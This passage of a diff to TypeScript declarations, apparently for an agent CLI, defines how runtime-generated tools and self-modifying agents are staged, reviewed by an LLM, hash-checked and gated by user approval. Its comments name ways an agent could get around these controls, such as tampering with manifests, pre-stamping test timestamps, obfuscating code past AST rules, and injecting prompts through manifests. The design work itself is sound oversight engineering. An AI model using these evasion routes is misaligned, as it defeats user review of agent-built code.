* v0.7.28 ships the single-dimension form: a whitelist of builtin tool
|
|
2915
|
+
* names that the handler may invoke through `ctx.tools.<name>(...)`.
|
|
2916
|
+
* All I/O — fs / net / env — must flow through builtin tools (`read` /
|
|
2917
|
+
* `write` / `bash` / etc.); handlers do not receive direct `ctx.fs` /
|
|
2918
|
+
* `ctx.net` / `ctx.env` entry points.
|
|
2919
|
+
*
|
|
2920
|
+
* Forward-compatible evolution: if the future demands path/domain-level
|
|
2921
|
+
* constraints, this can grow to `(string | { name; constraints })[]`
|
|
2922
|
+
* without breaking existing manifests.
|
|
2923
|
+
*/
|
|
2924
|
+
interface Capabilities {
|
|
2925
|
+
readonly tools: readonly string[];
|
|
2926
|
+
}
|
|
2927
|
+
/**
|
|
2928
|
+
* Tool-kind artifact body (the `content` of `ConstructionArtifact` when
|
|
2929
|
+
* `kind === 'tool'`).
|
|
2930
|
+
*/
|
|
2931
|
+
interface ToolContent {
|
|
2932
|
+
readonly description: string;
|
|
2933
|
+
readonly inputSchema: Record<string, unknown>;
|
|
2934
|
+
readonly capabilities: Capabilities;
|
|
2935
|
+
readonly handler: ScriptSource;
|
|
2936
|
+
/**
|
|
2937
|
+
* Per-tool timeout override. Defaults to {@link DEFAULT_HANDLER_TIMEOUT_MS}
|
|
2938
|
+
* when omitted. Bounded by AbortController in `loadHandler()`.
|
|
2939
|
+
*/
|
|
2940
|
+
readonly timeoutMs?: number;
|
|
2941
|
+
}
|
|
2942
|
+
/**
|
|
2943
|
+
* Default handler timeout. Picked to match the historical ceiling on
|
|
2944
|
+
* builtin streaming tools (30s); revisit if a constructed tool demands
|
|
2945
|
+
* longer-running computation.
|
|
2946
|
+
*/
|
|
2947
|
+
declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
|
|
2948
|
+
/**
|
|
2949
|
+
* Lifecycle state on disk. Drives both the startup glob filter and the
|
|
2950
|
+
* `revoke()` semantics. See DD §14.1 — file system is the single source
|
|
2951
|
+
* of truth; no separate `_manifest.json` index file (C4 decision).
|
|
2952
|
+
*/
|
|
2953
|
+
type ArtifactStatus = 'staged' | 'active' | 'revoked';
|
|
2954
|
+
/**
|
|
2955
|
+
* Reference to a tool by stable id. v0.7.31 (FEATURE_089) introduces
|
|
2956
|
+
* Agent manifests that bundle tool refs rather than inline tool bodies;
|
|
2957
|
+
* the resolver expands these refs to concrete `KodaXToolDefinition`
|
|
2958
|
+
* instances at activate time.
|
|
2959
|
+
*
|
|
2960
|
+
* `ref` shape:
|
|
2961
|
+
* - `builtin:<name>` — a tool from the static registry
|
|
2962
|
+
* (e.g. `builtin:read`, `builtin:bash`)
|
|
2963
|
+
* - `constructed:<name>@<ver>` — a previously-activated constructed tool
|
|
2964
|
+
*/
|
|
2965
|
+
interface ToolRef {
|
|
2966
|
+
readonly ref: string;
|
|
2967
|
+
}
|
|
2968
|
+
/**
|
|
2969
|
+
* Reference to a Guardrail by stable id. The Layer A `Guardrail`
|
|
2970
|
+
* declaration is name-only (no runtime hooks); resolvers map known
|
|
2971
|
+
* names to constructed `ToolGuardrail` / `InputGuardrail` /
|
|
2972
|
+
* `OutputGuardrail` instances at activation time.
|
|
2973
|
+
*/
|
|
2974
|
+
interface GuardrailRef {
|
|
2975
|
+
readonly kind: 'input' | 'output' | 'tool';
|
|
2976
|
+
readonly ref: string;
|
|
2977
|
+
}
|
|
2978
|
+
/**
|
|
2979
|
+
* Reference to a handoff target by stable id (another constructed agent
|
|
2980
|
+
* or a builtin role). The resolver expands `target.ref` to the actual
|
|
2981
|
+
* `Agent` declaration at admission time so the handoff DAG check
|
|
2982
|
+
* (`handoffLegality` invariant) sees the full graph.
|
|
2983
|
+
*/
|
|
2984
|
+
interface AgentHandoffRef {
|
|
2985
|
+
readonly target: {
|
|
2986
|
+
readonly ref: string;
|
|
2987
|
+
};
|
|
2988
|
+
readonly kind: 'continuation' | 'as-tool';
|
|
2989
|
+
readonly description?: string;
|
|
2990
|
+
}
|
|
2991
|
+
/**
|
|
2992
|
+
* Reasoning profile declaration mirroring the Layer A
|
|
2993
|
+
* `AgentReasoningProfile`. Kept structurally identical so the resolver
|
|
2994
|
+
* passes the value through without re-shaping.
|
|
2995
|
+
*/
|
|
2996
|
+
interface AgentReasoningRef {
|
|
2997
|
+
readonly default: 'quick' | 'balanced' | 'deep';
|
|
2998
|
+
readonly max?: 'quick' | 'balanced' | 'deep';
|
|
2999
|
+
readonly escalateOnRevise?: boolean;
|
|
3000
|
+
}
|
|
3001
|
+
/**
|
|
3002
|
+
* Sandbox test case. Used by `sandbox_test_agent` to verify a
|
|
3003
|
+
* constructed agent before it can activate. Each case feeds `input`
|
|
3004
|
+
* to a sandbox Runner instance and grades the agent's final output:
|
|
3005
|
+
*
|
|
3006
|
+
* - `expectMatch` — final text must match this regex (string form)
|
|
3007
|
+
* - `expectNotMatch` — final text must NOT match this regex
|
|
3008
|
+
* - `expectFinalText` — exact substring match (case-sensitive)
|
|
3009
|
+
*
|
|
3010
|
+
* At least one of the three expect-fields must be present; the cases
|
|
3011
|
+
* are graded by `runSandboxAgentTest()` (FEATURE_089 Phase 3.5).
|
|
3012
|
+
*/
|
|
3013
|
+
interface AgentTestCase {
|
|
3014
|
+
readonly id: string;
|
|
3015
|
+
readonly input: string;
|
|
3016
|
+
readonly expectMatch?: string;
|
|
3017
|
+
readonly expectNotMatch?: string;
|
|
3018
|
+
readonly expectFinalText?: string;
|
|
3019
|
+
}
|
|
3020
|
+
/**
|
|
3021
|
+
* Agent-kind artifact body (the `content` of `ConstructionArtifact`
|
|
3022
|
+
* when `kind === 'agent'`).
|
|
3023
|
+
*
|
|
3024
|
+
* FEATURE_089 (v0.7.31): all fields except `instructions` are optional;
|
|
3025
|
+
* a minimal "echo agent" can be expressed as `{ instructions: '...' }`.
|
|
3026
|
+
* Tool / handoff / guardrail refs are resolved at admission time
|
|
3027
|
+
* (Runner.admit's 5-step audit expands them and feeds the resolved
|
|
3028
|
+
* Agent through the invariant chain).
|
|
3029
|
+
*/
|
|
3030
|
+
interface AgentContent {
|
|
3031
|
+
readonly instructions: string;
|
|
3032
|
+
readonly tools?: readonly ToolRef[];
|
|
3033
|
+
readonly handoffs?: readonly AgentHandoffRef[];
|
|
3034
|
+
readonly reasoning?: AgentReasoningRef;
|
|
3035
|
+
readonly guardrails?: readonly GuardrailRef[];
|
|
3036
|
+
readonly model?: string;
|
|
3037
|
+
readonly provider?: string;
|
|
3038
|
+
/**
|
|
3039
|
+
* Optional structured-output schema mirroring `Agent.outputSchema`.
|
|
3040
|
+
* Pure pass-through to the runtime — admission does not validate
|
|
3041
|
+
* shape semantics here, only well-formed JSON.
|
|
3042
|
+
*/
|
|
3043
|
+
readonly outputSchema?: Record<string, unknown>;
|
|
3044
|
+
/**
|
|
3045
|
+
* Optional sandbox test cases. When present, `sandbox_test_agent`
|
|
3046
|
+
* runs them; when absent, the test step performs only the static
|
|
3047
|
+
* checks (manifest schema + admission audit).
|
|
3048
|
+
*/
|
|
3049
|
+
readonly testCases?: readonly AgentTestCase[];
|
|
3050
|
+
/**
|
|
3051
|
+
* Maximum total budget (iteration count) the agent may consume.
|
|
3052
|
+
* Plumbed onto the resolved `AgentManifest.maxBudget` and clamped by
|
|
3053
|
+
* `budgetCeiling` invariant during admission.
|
|
3054
|
+
*/
|
|
3055
|
+
readonly maxBudget?: number;
|
|
3056
|
+
/**
|
|
3057
|
+
* Voluntary additional invariants the LLM declares this agent
|
|
3058
|
+
* commits to. Plumbed onto `AgentManifest.declaredInvariants`;
|
|
3059
|
+
* unioned on top of the required set during admission.
|
|
3060
|
+
*/
|
|
3061
|
+
readonly declaredInvariants?: readonly string[];
|
|
3062
|
+
}
|
|
3063
|
+
/**
|
|
3064
|
+
* Persisted artifact shape (one JSON file per name/version under
|
|
3065
|
+
* `.kodax/constructed/<kind>s/<name>/<version>.json`).
|
|
3066
|
+
*
|
|
3067
|
+
* Discriminated union over `kind`:
|
|
3068
|
+
* - `kind: 'tool'` — v0.7.28 (FEATURE_088) tool generation
|
|
3069
|
+
* - `kind: 'agent'` — v0.7.31 (FEATURE_089) agent generation; passes
|
|
3070
|
+
* through `Runner.admit()` at activation time
|
|
3071
|
+
*
|
|
3072
|
+
* Lifecycle fields (status / timestamps / contentHash / sourceAgent /
|
|
3073
|
+
* signedBy) are common to all kinds.
|
|
3074
|
+
*/
|
|
3075
|
+
type ConstructionArtifact = ToolArtifact | AgentArtifact;
|
|
3076
|
+
interface ConstructionArtifactBase {
|
|
3077
|
+
readonly name: string;
|
|
3078
|
+
readonly version: string;
|
|
3079
|
+
status: ArtifactStatus;
|
|
3080
|
+
readonly signedBy?: string;
|
|
3081
|
+
readonly createdAt: number;
|
|
3082
|
+
readonly sourceAgent?: string;
|
|
3083
|
+
testedAt?: number;
|
|
3084
|
+
activatedAt?: number;
|
|
3085
|
+
revokedAt?: number;
|
|
3086
|
+
/**
|
|
3087
|
+
* SHA-256 of `JSON.stringify(content)` captured at activate time.
|
|
3088
|
+
* `rehydrateActiveArtifacts()` recomputes and compares — a mismatch
|
|
3089
|
+
* indicates the manifest was edited between activation and the next
|
|
3090
|
+
* boot (naive cross-session tampering, e.g. an LLM rewriting the .json
|
|
3091
|
+
* via the Write tool without recomputing the hash). Mismatched
|
|
3092
|
+
* artifacts are skipped at rehydrate with a stderr warning. This is
|
|
3093
|
+
* NOT a defense against a coordinated attacker who recomputes the
|
|
3094
|
+
* hash; the threat model is single-user CLI integrity, not multi-user
|
|
3095
|
+
* supply chain.
|
|
3096
|
+
*/
|
|
3097
|
+
contentHash?: string;
|
|
3098
|
+
}
|
|
3099
|
+
interface ToolArtifact extends ConstructionArtifactBase {
|
|
3100
|
+
readonly kind: 'tool';
|
|
3101
|
+
readonly content: ToolContent;
|
|
3102
|
+
}
|
|
3103
|
+
interface AgentArtifact extends ConstructionArtifactBase {
|
|
3104
|
+
readonly kind: 'agent';
|
|
3105
|
+
readonly content: AgentContent;
|
|
3106
|
+
}
|
|
3107
|
+
/**
|
|
3108
|
+
* Returned by {@link ConstructionRuntime.stage}; opaque handle that
|
|
3109
|
+
* downstream `test()` / `activate()` calls bind to.
|
|
3110
|
+
*/
|
|
3111
|
+
interface StagedHandle {
|
|
3112
|
+
readonly artifact: ConstructionArtifact;
|
|
3113
|
+
readonly stagedAt: number;
|
|
3114
|
+
}
|
|
3115
|
+
/**
|
|
3116
|
+
* Outcome of {@link ConstructionRuntime.test}. `ok=false` blocks
|
|
3117
|
+
* activation; `warnings` surface but do not block.
|
|
3118
|
+
*/
|
|
3119
|
+
interface TestResult {
|
|
3120
|
+
readonly ok: boolean;
|
|
3121
|
+
readonly errors?: readonly string[];
|
|
3122
|
+
readonly warnings?: readonly string[];
|
|
3123
|
+
}
|
|
3124
|
+
/**
|
|
3125
|
+
* Policy gate — invoked once per `activate()` before the artifact is
|
|
3126
|
+
* registered. Default rejects implicit auto-approval; the REPL surface
|
|
3127
|
+
* binds a dialog-based policy in `packages/repl/src/common/construction-
|
|
3128
|
+
* bootstrap.ts` so user approval flows through the live askUser channel.
|
|
3129
|
+
*
|
|
3130
|
+
* Modeled as a function type rather than an interface (D3 decision):
|
|
3131
|
+
* keeps the contract surface tiny, no class boilerplate.
|
|
3132
|
+
*
|
|
3133
|
+
* No declarative `kodax.config.ts` override hatch is provided — see the
|
|
3134
|
+
* "Deferred Design Decisions" section in `features/v0.7.28.md` for why
|
|
3135
|
+
* a `risk_mode` enum (when truly needed) is preferred over user-authored
|
|
3136
|
+
* policy functions.
|
|
3137
|
+
*/
|
|
3138
|
+
type ConstructionPolicy = (artifact: ConstructionArtifact) => Promise<ConstructionPolicyVerdict>;
|
|
3139
|
+
type ConstructionPolicyVerdict = 'approve' | 'reject' | 'ask-user';
|
|
3140
|
+
/** Default policy: always ask the user; no implicit approvals. */
|
|
3141
|
+
declare const defaultPolicy: ConstructionPolicy;
|
|
3142
|
+
/**
|
|
3143
|
+
* Thrown by `CtxProxy` when handler attempts to access a tool not declared
|
|
3144
|
+
* in `capabilities.tools`. Caught in tracer; surfaces as a tool error.
|
|
3145
|
+
*/
|
|
3146
|
+
declare class CapabilityDeniedError extends Error {
|
|
3147
|
+
readonly toolName: string;
|
|
3148
|
+
readonly declaredTools: readonly string[];
|
|
3149
|
+
constructor(toolName: string, declaredTools: readonly string[]);
|
|
3150
|
+
}
|
|
3151
|
+
/**
|
|
3152
|
+
* Thrown when a manifest cannot be parsed / is missing required fields.
|
|
3153
|
+
* Surfaces during stage() / startup glob; tracer records details.
|
|
3154
|
+
*/
|
|
3155
|
+
declare class ConstructionManifestError extends Error {
|
|
3156
|
+
readonly path?: string;
|
|
3157
|
+
constructor(message: string, path?: string);
|
|
3158
|
+
}
|
|
3159
|
+
|
|
3160
|
+
/**
|
|
3161
|
+
* FEATURE_089 Phase 3.5 — Sandbox Agent Test Runner.
|
|
3162
|
+
*
|
|
3163
|
+
* Drives the manifest's `testCases` through `Runner.run` with an
|
|
3164
|
+
* isolated configuration, then grades the outputs against the per-case
|
|
3165
|
+
* expectations (expectMatch / expectNotMatch / expectFinalText). Used
|
|
3166
|
+
* by `testAgentArtifact` when a sandbox LLM callback is provided.
|
|
3167
|
+
*
|
|
3168
|
+
* Isolation approach:
|
|
3169
|
+
*
|
|
3170
|
+
* - Each case gets a fresh `Runner.run` call. No shared session or
|
|
3171
|
+
* transcript across cases.
|
|
3172
|
+
* - The agent's tools are NOT executed in the sandbox path — the
|
|
3173
|
+
* sandbox grades the agent's text output, not its tool invocation
|
|
3174
|
+
* pattern. (Tool sandboxing is its own concern; FEATURE_088
|
|
3175
|
+
* ConstructionRuntime already gates tool capability.)
|
|
3176
|
+
* - `tracer: null` is passed so sandbox runs don't pollute the
|
|
3177
|
+
* production trace graph.
|
|
3178
|
+
* - `budgetMs` provides a per-case wall-clock cap; default 30s
|
|
3179
|
+
* mirrors the `DEFAULT_HANDLER_TIMEOUT_MS` used for tool sandbox.
|
|
3180
|
+
*
|
|
3181
|
+
* The result aggregates per-case verdicts. Aggregate `ok` is true iff
|
|
3182
|
+
* every case passed; the `cases[]` array preserves order so callers
|
|
3183
|
+
* (TestResult renderer) can surface a granular failure summary.
|
|
3184
|
+
*/
|
|
3185
|
+
|
|
3186
|
+
/**
|
|
3187
|
+
* LLM callback type accepted by the sandbox runner. Same shape as
|
|
3188
|
+
* `Runner.run`'s `opts.llm` so callers can either reuse their
|
|
3189
|
+
* production callback (with caching) or inject a deterministic mock.
|
|
3190
|
+
*/
|
|
3191
|
+
type SandboxLlmCallback = (messages: readonly AgentMessage[], agent: Agent) => Promise<RunnerLlmReturn>;
|
|
3192
|
+
|
|
3193
|
+
/**
|
|
3194
|
+
* Provider-specific tool input_schema validation.
|
|
3195
|
+
*
|
|
3196
|
+
* Constructed tool input_schema is JSON Schema, but each LLM provider
|
|
3197
|
+
* accepts a different subset. KodaX builtin tool schemas were authored
|
|
3198
|
+
* by hand and stay within the Anthropic intersection; LLM-generated
|
|
3199
|
+
* constructed handler schemas need a runtime gate.
|
|
3200
|
+
*
|
|
3201
|
+
* v0.7.28 ships the `'anthropic'` validator (the main verification path).
|
|
3202
|
+
* Other providers fall through with a warning so the existing builtin
|
|
3203
|
+
* dispatch path continues to work — they just don't get schema-level
|
|
3204
|
+
* pre-flight checks for constructed tools.
|
|
3205
|
+
*
|
|
3206
|
+
* Reference: Anthropic public API docs and observed 4xx behavior.
|
|
3207
|
+
*/
|
|
3208
|
+
type SchemaProvider = 'anthropic' | 'openai' | string;
|
|
3209
|
+
interface SchemaValidationResult {
|
|
3210
|
+
readonly ok: boolean;
|
|
3211
|
+
readonly errors: readonly string[];
|
|
3212
|
+
readonly warnings: readonly string[];
|
|
3213
|
+
}
|
|
3214
|
+
declare function validateToolSchemaForProvider(inputSchema: unknown, provider?: SchemaProvider): SchemaValidationResult;
|
|
3215
|
+
|
|
3216
|
+
/**
|
|
3217
|
+
* LLM-driven static review for constructed tool handlers (DD §14.5.1).
|
|
3218
|
+
*
|
|
3219
|
+
* Two-tier static check sequence:
|
|
3220
|
+
* 1. AST hard rules (ast-rules.ts) — cheap, deterministic, AST-precise.
|
|
3221
|
+
* 2. LLM review (this module) — covers semantic-level patterns that
|
|
3222
|
+
* AST rules cannot reasonably express (string concatenation
|
|
3223
|
+
* obfuscation, indirect references, capabilities/code mismatch).
|
|
3224
|
+
*
|
|
3225
|
+
* The LLM reviewer is dependency-injected via `LlmReviewClient`, so:
|
|
3226
|
+
* - Production wires a real KodaXClient call (Anthropic main path).
|
|
3227
|
+
* - Mocked-LLM tests inject a fake reviewer for verdict-dispatch
|
|
3228
|
+
* coverage (`.test.ts`, zero API cost).
|
|
3229
|
+
* - Real-LLM accuracy tests (`.eval.ts`, gated by API key) inject a
|
|
3230
|
+
* live client to measure precision/recall on a curated handler set.
|
|
3231
|
+
*
|
|
3232
|
+
* Verdict dispatch (handled by ConstructionRuntime.testArtifact):
|
|
3233
|
+
* - 'safe' → proceed to stage / activate.
|
|
3234
|
+
* - 'suspicious' → policy gate (caller decides; default ask-user).
|
|
3235
|
+
* - 'dangerous' → reject outright; do not enter policy gate.
|
|
3236
|
+
*/
|
|
3237
|
+
|
|
3238
|
+
type LlmReviewVerdict = 'safe' | 'suspicious' | 'dangerous';
|
|
3239
|
+
interface LlmReviewResult {
|
|
3240
|
+
readonly verdict: LlmReviewVerdict;
|
|
3241
|
+
readonly concerns: readonly string[];
|
|
3242
|
+
readonly suggestedCapabilities: readonly string[];
|
|
3243
|
+
/** Echoed for debugging; raw text from the LLM before parse. */
|
|
3244
|
+
readonly raw?: string;
|
|
3245
|
+
}
|
|
3246
|
+
/**
|
|
3247
|
+
* Caller-injected LLM client. Receives a fully-formed prompt; returns
|
|
3248
|
+
* the LLM's raw response text (must include a JSON object that
|
|
3249
|
+
* {@link parseLlmReviewVerdict} can extract).
|
|
3250
|
+
*
|
|
3251
|
+
* Kept at this minimal shape so wiring to KodaXClient (Anthropic main
|
|
3252
|
+
* path), to a mock, or to a real `.eval.ts` harness all stay trivial.
|
|
3253
|
+
*/
|
|
3254
|
+
type LlmReviewClient = (prompt: string) => Promise<string>;
|
|
3255
|
+
interface BuildPromptInput {
|
|
3256
|
+
readonly handlerCode: string;
|
|
3257
|
+
readonly capabilities: Capabilities;
|
|
3258
|
+
/** Optional: name@version for prompt context. */
|
|
3259
|
+
readonly artifactRef?: string;
|
|
3260
|
+
}
|
|
3261
|
+
/**
|
|
3262
|
+
* Build the review prompt. Mirrors the structure described in
|
|
3263
|
+
* v0.7.28.md FEATURE_088 §安全考虑 — the LLM is told it IS KodaX
|
|
3264
|
+
* reviewing another KodaX agent's output (commit 74d4aaa self-identity
|
|
3265
|
+
* propagation), with explicit capability whitelist and pattern list.
|
|
3266
|
+
*/
|
|
3267
|
+
declare function buildLlmReviewPrompt(input: BuildPromptInput): string;
|
|
3268
|
+
/**
|
|
3269
|
+
* Parse a verdict JSON object out of the LLM's raw response. Tolerant
|
|
3270
|
+
* of surrounding prose / code fences (some models add them despite
|
|
3271
|
+
* instructions).
|
|
3272
|
+
*
|
|
3273
|
+
* Throws when no parseable verdict can be extracted — caller should
|
|
3274
|
+
* surface that as a `dangerous` outcome (defense in depth: a reviewer
|
|
3275
|
+
* that fails to produce a verdict cannot be trusted to clear).
|
|
3276
|
+
*/
|
|
3277
|
+
declare function parseLlmReviewVerdict(raw: string): LlmReviewResult;
|
|
3278
|
+
/**
|
|
3279
|
+
* Convenience: build prompt → call client → parse verdict.
|
|
3280
|
+
* Errors from the client / parser bubble up unchanged.
|
|
3281
|
+
*/
|
|
3282
|
+
declare function runLlmReview(input: BuildPromptInput, client: LlmReviewClient): Promise<LlmReviewResult>;
|
|
3283
|
+
|
|
3284
|
+
/**
|
|
3285
|
+
* FEATURE_090 (v0.7.32) — LLM-assisted diff summary for self-modify
|
|
3286
|
+
* activation. Replaces the divergence-score idea from the original
|
|
3287
|
+
* spec: instead of mechanical thresholds (Levenshtein/Jaccard/etc.)
|
|
3288
|
+
* with arbitrary numbers, we ask an LLM to read the prev/next pair
|
|
3289
|
+
* and produce a structured summary the user reviews via ask-user.
|
|
3290
|
+
*
|
|
3291
|
+
* Why LLM-as-summariser instead of LLM-as-judge:
|
|
3292
|
+
* The LLM only describes what changed. The user (not the LLM)
|
|
3293
|
+
* makes the activate / reject call. The summary is *advice* layered
|
|
3294
|
+
* on top of the raw diff — the ask-user surface always shows the
|
|
3295
|
+
* prev/next manifests verbatim, so a malicious or hallucinating
|
|
3296
|
+
* summariser cannot trick the user into approving something they
|
|
3297
|
+
* couldn't see.
|
|
3298
|
+
*
|
|
3299
|
+
* Defenses against prompt injection through the manifest itself:
|
|
3300
|
+
* - Structured JSON output with strict shape; non-conforming
|
|
3301
|
+
* responses degrade to a fixed-text fallback (`severity: 'major'`,
|
|
3302
|
+
* `summary: 'LLM summary unavailable …'`). The user still sees
|
|
3303
|
+
* the raw diff.
|
|
3304
|
+
* - System prompt frames the LLM as KodaX reviewing a manifest;
|
|
3305
|
+
* mirrors the existing `runLlmReview` (FEATURE_089) framing.
|
|
3306
|
+
* - The reviewer LLM and the modifying agent's LLM are
|
|
3307
|
+
* dependency-injected separately — callers may use a stronger
|
|
3308
|
+
* model for review than for execution.
|
|
3309
|
+
*
|
|
3310
|
+
* Reuses the `LlmReviewClient` type from FEATURE_089 verbatim — same
|
|
3311
|
+
* shape (prompt → raw text), so REPL wiring can use a single
|
|
3312
|
+
* KodaXClient binding for both `test_agent` static review and this
|
|
3313
|
+
* self-modify summary.
|
|
3314
|
+
*/
|
|
3315
|
+
|
|
3316
|
+
/**
|
|
3317
|
+
* Severity tag the LLM applies to its own summary. Drives the tone
|
|
3318
|
+
* of the ask-user UI (a `major` change pre-selects "reject", a
|
|
3319
|
+
* `minor` change pre-selects "approve" — but the user still has to
|
|
3320
|
+
* confirm). Tied to the audit log `severity` field.
|
|
3321
|
+
*/
|
|
3322
|
+
type SelfModifyDiffSeverity = 'minor' | 'moderate' | 'major';
|
|
3323
|
+
/**
|
|
3324
|
+
* Structured output emitted by `runSelfModifyDiffSummary`. The shape
|
|
3325
|
+
* is the contract the LLM must satisfy; deviations fall back to the
|
|
3326
|
+
* fixed-text "unavailable" record.
|
|
3327
|
+
*/
|
|
3328
|
+
interface SelfModifyDiffSummary {
|
|
3329
|
+
readonly summary: string;
|
|
3330
|
+
readonly severity: SelfModifyDiffSeverity;
|
|
3331
|
+
readonly flaggedConcerns: readonly string[];
|
|
3332
|
+
/** Echoed for debugging; raw text from the LLM before parse. */
|
|
3333
|
+
readonly raw?: string;
|
|
3334
|
+
}
|
|
3335
|
+
|
|
3336
|
+
/**
|
|
3337
|
+
* ConstructionRuntime — stage / test / activate / revoke / list lifecycle
|
|
3338
|
+
* for runtime-generated capabilities (FEATURE_087, v0.7.28).
|
|
3339
|
+
*
|
|
3340
|
+
* Module-level singleton: KodaX runs one runtime per process. Tests
|
|
3341
|
+
* reset via `_resetRuntimeForTesting()`. Configuration is overridden
|
|
3342
|
+
* through `configureRuntime({ cwd, policy })`.
|
|
3343
|
+
*
|
|
3344
|
+
* No class boilerplate (KodaX philosophy — small focused functions). The
|
|
3345
|
+
* "instance state" is just two module-private variables: `_options` and
|
|
3346
|
+
* `_activated`. Persistence is the file system itself; no in-memory
|
|
3347
|
+
* artifact cache outside what TOOL_REGISTRY already holds via the
|
|
3348
|
+
* unregister-callback map.
|
|
3349
|
+
*
|
|
3350
|
+
* v0.7.28 Phase 1 scope:
|
|
3351
|
+
* - Lifecycle plumbing only.
|
|
3352
|
+
* - `test()` is intentionally minimal — Guardrail static check + LLM
|
|
3353
|
+
* review + provider schema validator land in Phase 2.
|
|
3354
|
+
* - Policy gate honors a `'reject'` verdict but throws on `'ask-user'`
|
|
3355
|
+
* because Phase 1 has no built-in user-prompt UI; callers (REPL,
|
|
3356
|
+
* test code) must override `constructionPolicy` to wire one.
|
|
3357
|
+
*/
|
|
3358
|
+
|
|
3359
|
+
/**
|
|
3360
|
+
* Input passed to a `SelfModifyAskUser` callback when the activate
|
|
3361
|
+
* path detects a self-modify. Carries everything the surface needs
|
|
3362
|
+
* to render an informed approve/reject prompt: prev + proposed
|
|
3363
|
+
* manifests for raw diff, the LLM summary, and the budget snapshot.
|
|
3364
|
+
*
|
|
3365
|
+
* Kept separate from FEATURE_088's `ConstructionPolicy` shape so the
|
|
3366
|
+
* existing first-time-staging policy flow stays unchanged. The two
|
|
3367
|
+
* gates are mutually exclusive — self-modify never reaches
|
|
3368
|
+
* `_options.policy`.
|
|
3369
|
+
*/
|
|
3370
|
+
interface SelfModifyAskUserInput {
|
|
3371
|
+
readonly agentName: string;
|
|
3372
|
+
readonly fromVersion: string;
|
|
3373
|
+
readonly toVersion: string;
|
|
3374
|
+
readonly prevContent: AgentContent;
|
|
3375
|
+
readonly nextContent: AgentContent;
|
|
3376
|
+
readonly llmSummary: SelfModifyDiffSummary;
|
|
3377
|
+
readonly budgetRemaining: number;
|
|
3378
|
+
readonly budgetLimit: number;
|
|
3379
|
+
}
|
|
3380
|
+
/**
|
|
3381
|
+
* Force-ask-user gate for self-modify activations. Returns the user's
|
|
3382
|
+
* verdict; never `'ask-user'` because by reaching this callback we
|
|
3383
|
+
* already know we need to ask the user. REPL surfaces wire a
|
|
3384
|
+
* dialog-based callback at startup; non-REPL surfaces leave this
|
|
3385
|
+
* undefined and self-modify activations hard-fail with a clear
|
|
3386
|
+
* configuration error.
|
|
3387
|
+
*/
|
|
3388
|
+
type SelfModifyAskUser = (input: SelfModifyAskUserInput) => Promise<'approve' | 'reject'>;
|
|
3389
|
+
interface RuntimeOptions {
|
|
3390
|
+
/** Workspace root for `.kodax/constructed/`. Defaults to `process.cwd()`. */
|
|
3391
|
+
readonly cwd: string;
|
|
3392
|
+
/** Activation policy gate. Defaults to `defaultPolicy` (ask-user). */
|
|
3393
|
+
readonly policy: ConstructionPolicy;
|
|
3394
|
+
/**
|
|
3395
|
+
* FEATURE_090 — optional LLM client used for self-modify diff
|
|
3396
|
+
* summaries. When undefined, `runSelfModifyDiffSummary` falls back
|
|
3397
|
+
* to the unavailable-summary record (severity='major', user still
|
|
3398
|
+
* sees the raw diff). REPL bootstrap binds the same KodaXClient as
|
|
3399
|
+
* `test_agent`'s LLM reviewer.
|
|
3400
|
+
*/
|
|
3401
|
+
readonly llmReviewer?: LlmReviewClient;
|
|
3402
|
+
/**
|
|
3403
|
+
* FEATURE_090 — force-ask-user callback for self-modify activations.
|
|
3404
|
+
* Required from any surface that wants self-modify to succeed; if
|
|
3405
|
+
* undefined, self-modify activations are rejected (matches the
|
|
3406
|
+
* non-interactive default for the regular policy gate).
|
|
3407
|
+
*/
|
|
3408
|
+
readonly selfModifyAskUser?: SelfModifyAskUser;
|
|
3409
|
+
}
|
|
3410
|
+
declare function configureRuntime(overrides: Partial<RuntimeOptions>): void;
|
|
3411
|
+
/** Test-only — clears in-memory state. Does not touch the filesystem. */
|
|
3412
|
+
declare function _resetRuntimeForTesting(): void;
|
|
3413
|
+
/**
|
|
3414
|
+
* Persist a freshly-built artifact to `.kodax/constructed/<kind>s/<name>/<version>.json`
|
|
3415
|
+
* with `status: 'staged'`.
|
|
3416
|
+
*
|
|
3417
|
+
* Version immutability: if any manifest at the same name+version already
|
|
3418
|
+
* exists on disk (in any status — staged, active, or revoked), stage()
|
|
3419
|
+
* refuses to overwrite. Bumping the semver is the supported update path.
|
|
3420
|
+
*
|
|
3421
|
+
* Why "any status", not just `'active'`:
|
|
3422
|
+
* The handler's `.js` module is loaded via `await import(file://…)`
|
|
3423
|
+
* which the ESM module cache keys by absolute file URL. Re-writing
|
|
3424
|
+
* `<version>.js` in place leaves the cached module pointing at the
|
|
3425
|
+
* OLD code; subsequent loadHandler() calls return the cached export.
|
|
3426
|
+
* Even revoking first does not flush the cache (Node has no public
|
|
3427
|
+
* ESM cache eviction API). The only safe-by-construction policy is
|
|
3428
|
+
* "version is immutable on disk — bump semver to update."
|
|
3429
|
+
*
|
|
3430
|
+
* Lifecycle timestamp reset: `testedAt` / `activatedAt` / `revokedAt`
|
|
3431
|
+
* are explicitly cleared on the persisted record, even if the input
|
|
3432
|
+
* artifact carries them. Defends against an LLM-supplied artifact
|
|
3433
|
+
* pre-stamping testedAt to bypass the activate() gate.
|
|
3434
|
+
*/
|
|
3435
|
+
declare function stage(artifact: ConstructionArtifact): Promise<StagedHandle>;
|
|
3436
|
+
/**
|
|
3437
|
+
* Validate a staged artifact. Runs the static-only check pipeline:
|
|
3438
|
+
*
|
|
3439
|
+
* 1. Shape sanity (kind, handler.language, capabilities.tools array).
|
|
3440
|
+
* 2. AST hard rules (no-eval / no-Function-constructor / require-handler-signature).
|
|
3441
|
+
* 3. provider schema validation (Anthropic by default — main path).
|
|
3442
|
+
* 4. LLM static review (only when caller injects `options.llmReviewer`).
|
|
3443
|
+
*
|
|
3444
|
+
* Verdict dispatch on LLM review:
|
|
3445
|
+
* - 'safe' → ok=true, no LLM-review warnings.
|
|
3446
|
+
* - 'suspicious' → ok=true, concerns surfaced as warnings; downstream
|
|
3447
|
+
* `activate()` will run the policy gate (default
|
|
3448
|
+
* ask-user) which can show those concerns to the user.
|
|
3449
|
+
* - 'dangerous' → ok=false, errors carry the LLM concerns; activate
|
|
3450
|
+
* will not be reachable without a fresh stage().
|
|
3451
|
+
*
|
|
3452
|
+
* IMPORTANT — handler is NOT materialized here. The earlier "materialize
|
|
3453
|
+
* handler to surface syntax errors" step performed `await import(file://…)`
|
|
3454
|
+
* BEFORE the policy gate, which executed the handler module's top-level
|
|
3455
|
+
* code as a side effect. AST rules cover `eval` / `Function`, but a
|
|
3456
|
+
